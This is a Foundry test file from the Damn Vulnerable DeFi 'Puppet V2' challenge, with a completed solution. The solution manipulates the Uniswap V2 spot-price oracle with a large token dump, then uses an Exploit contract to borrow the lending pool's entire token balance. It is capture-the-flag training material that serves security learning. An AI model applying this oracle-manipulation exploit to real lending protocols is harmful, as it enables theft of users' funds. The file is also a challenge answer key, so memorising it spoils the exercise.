-
Notifications
You must be signed in to change notification settings - Fork 115
/
PuppetV2.t.sol
148 lines (128 loc) · 5.65 KB
/
PuppetV2.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetV2Pool} from "../../src/puppet-v2/PuppetV2Pool.sol";
contract PuppetV2Challenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 100e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 20e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapV2Exchange;
PuppetV2Pool lendingPool;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy tokens to be traded
token = new DamnValuableToken();
weth = new WETH();
// Deploy Uniswap V2 Factory and Router
uniswapV2Factory = IUniswapV2Factory(
deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV2Factory.json"), abi.encode(address(0)))
);
uniswapV2Router = IUniswapV2Router02(
deployCode(
string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV2Router02.json"),
abi.encode(address(uniswapV2Factory), address(weth))
)
);
// Create Uniswap pair against WETH and add liquidity
token.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}({
token: address(token),
amountTokenDesired: UNISWAP_INITIAL_TOKEN_RESERVE,
amountTokenMin: 0,
amountETHMin: 0,
to: deployer,
deadline: block.timestamp * 2
});
uniswapV2Exchange = IUniswapV2Pair(uniswapV2Factory.getPair(address(token), address(weth)));
// Deploy the lending pool
lendingPool =
new PuppetV2Pool(address(weth), address(token), address(uniswapV2Exchange), address(uniswapV2Factory));
// Setup initial token balances of pool and player accounts
token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(token.balanceOf(player), PLAYER_INITIAL_TOKEN_BALANCE);
assertEq(token.balanceOf(address(lendingPool)), POOL_INITIAL_TOKEN_BALANCE);
assertGt(uniswapV2Exchange.balanceOf(deployer), 0);
// Check pool's been correctly setup
assertEq(lendingPool.calculateDepositOfWETHRequired(1 ether), 0.3 ether);
assertEq(lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE), 300000 ether);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppetV2() public checkSolvedByPlayer {
Exploit Attack=new Exploit{value: address(player).balance}(token,lendingPool,uniswapV2Exchange,recovery,weth);
(uint256 a,uint256 b,uint32 c)=uniswapV2Exchange.getReserves();
uint256 out=uniswapV2Router.getAmountOut(10000 ether, b, a);
token.transfer(address(uniswapV2Exchange), 10000 ether);
uniswapV2Exchange.swap(out, 0, address(Attack), "");
Attack.attack();
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
assertEq(token.balanceOf(address(lendingPool)), 0, "Lending pool still has tokens");
assertEq(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}
contract Exploit is Test{
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 100e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 20e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapV2Exchange;
PuppetV2Pool lendingPool;
address public recovery;
constructor(DamnValuableToken _token,PuppetV2Pool _lendingpool,IUniswapV2Pair _uniswapV2Exchange,address _recovery,WETH _weth)payable {
token=_token;
lendingPool=_lendingpool;
uniswapV2Exchange=_uniswapV2Exchange;
recovery=_recovery;
weth=_weth;
}
function attack()payable public{
weth.deposit{value: address(this).balance}();
weth.approve(address(lendingPool), type(uint256).max);
lendingPool.borrow(1000000 ether);
token.transfer(recovery, 1000000 ether);
}
receive() external payable{}
}